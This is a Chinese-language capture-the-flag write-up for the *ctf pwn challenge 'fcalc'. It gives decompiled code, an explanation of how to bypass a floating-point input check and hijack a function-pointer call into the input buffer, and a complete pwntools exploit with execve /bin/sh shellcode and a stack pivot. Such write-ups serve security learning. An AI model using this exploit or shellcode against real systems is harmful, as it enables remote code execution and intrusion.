比赛名应该是*ctf 但是由于我hexo框架不能命名为 * 所以只能叫星了
fcalc
没有开启NX保护 第一反应就是要打shellcode
void __fastcall __noreturn main(int a1, char **a2, char **a3) { void *v3; void *v4; double *v5; int v6; int i; int j; double *v9; void *s; void *buf; double v12; unsigned __int64 v13;
v13 = __readfsqword(0x28u); v3 = alloca(400LL); s = (16 * ((&v6 + 3) >> 4)); v4 = alloca(64LL); buf = s; memset(s, 0, 0x180uLL); memset(buf, 0, 0x30uLL); qword_40E0 = s; dword_4010 = 0; sub_1384(); say(); while ( 1 ) { v6 = read(0, buf, 0x180uLL); if ( v6 > 47 ) v6 = 48; for ( i = 0; i < v6 && *(buf + i) != '\n'; ++i ) { if ( *(buf + i) <= 0x20 || *(buf + i) > 0x30 ) { if ( *(buf + i) > 0x2F && *(buf + i) <= 0x39 ) { if ( dword_4010 > 47 ) { puts("ERROR"); exit(1); } ++dword_4010; v5 = qword_40E0; *v5 = atof(buf + i); qword_40E0 += 8LL; while ( *(buf + i + 1) == 0x2E || *(buf + i + 1) > 0x2F && *(buf + i + 1) <= 0x39 ) ++i; } } else { if ( dword_4010 <= 1 ) { puts("ERROR"); exit(1); } v9 = s; for ( j = 0; j <= 47; ++j ) { v12 = fabs(*v9); if ( v12 != 0.0 && (v12 < 1.0 || v12 > 100.0) ) { printf("ERROR: %lf\n", v12); exit(1); } ++v9; } (qword_4060[*(buf + i) - 0x20])(); } } if ( s < qword_40E0 ) printf("Result: %lf\n", *(qword_40E0 - 8)); } }
|
首先需要逆向出来和菜单交互的格式 我们需要使得dword_4010大于1 同时还要绕过这两个循环
while ( *(buf + i + 1) == 0x2E || *(buf + i + 1) > 0x2F && *(buf + i + 1) <= 0x39 ) ++i; } for ( j = 0; j <= 47; ++j ) { v12 = fabs(*v9); if ( v12 != 0.0 && (v12 < 1.0 || v12 > 100.0) ) { printf("ERROR: %lf\n", v12); exit(1); } ++v9; }
|
第一个循环 相对来说容易 只需要在对应字符后面加上超出范围的字符即可
第二个循环限制比较大 对0x48个字长的空间都进行了check
随后呢根据输入的字符 取决调用哪个函数
__int64 (__fastcall *sub_1384())() { __int64 (__fastcall *result)();
setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); qword_4060[0] = printf_nop; qword_4068 = printf_nop; qword_4070 = printf_nop; qword_4078 = printf_nop; qword_4080 = printf_nop; qword_4088 = printf_nop; qword_4090 = printf_nop; qword_4098 = printf_nop; qword_40A0 = printf_nop; qword_40A8 = printf_nop; qword_40B0 = sub_12BB; qword_40B8 = sub_1208 + 1; qword_40C0 = printf_nop; qword_40C8 = sub_1262; qword_40D0 = printf_nop; result = sub_1314; qword_40D8 = sub_1314; return result; }
|
顺便在main函数的开头 还隐藏着一个buf地址
我们通过字符’0’就可以实现call buf 这里就存在了shellcode的调用
由于我们刚才说到的check的存在 我们没办法把shellcode放到payload后面 所以需要通过把shellcode写到不会被check的前面 然后控制rsp寄存器再跳转过去
完整exp:
from pwn import* import pwn_pb2 io = process("./pwn")
elf = ELF("./pwn") context.terminal = ['tmux','splitw','-h']
libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so") context.arch = "amd64" context.log_level = "debug" def debug(): gdb.attach(io) pause()
io.recvuntil("Enter your expression:") shellcode = """ add rsp,0x10 jmp rsp """ payload = b'\x35\x40\x35\x40\x30\x30\x30\x30'+b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"+cyclic(0x21)+p64(0x4014000000000000)*2+asm(shellcode)+b'\x40\x40'
io.send(payload)
io.interactive()
|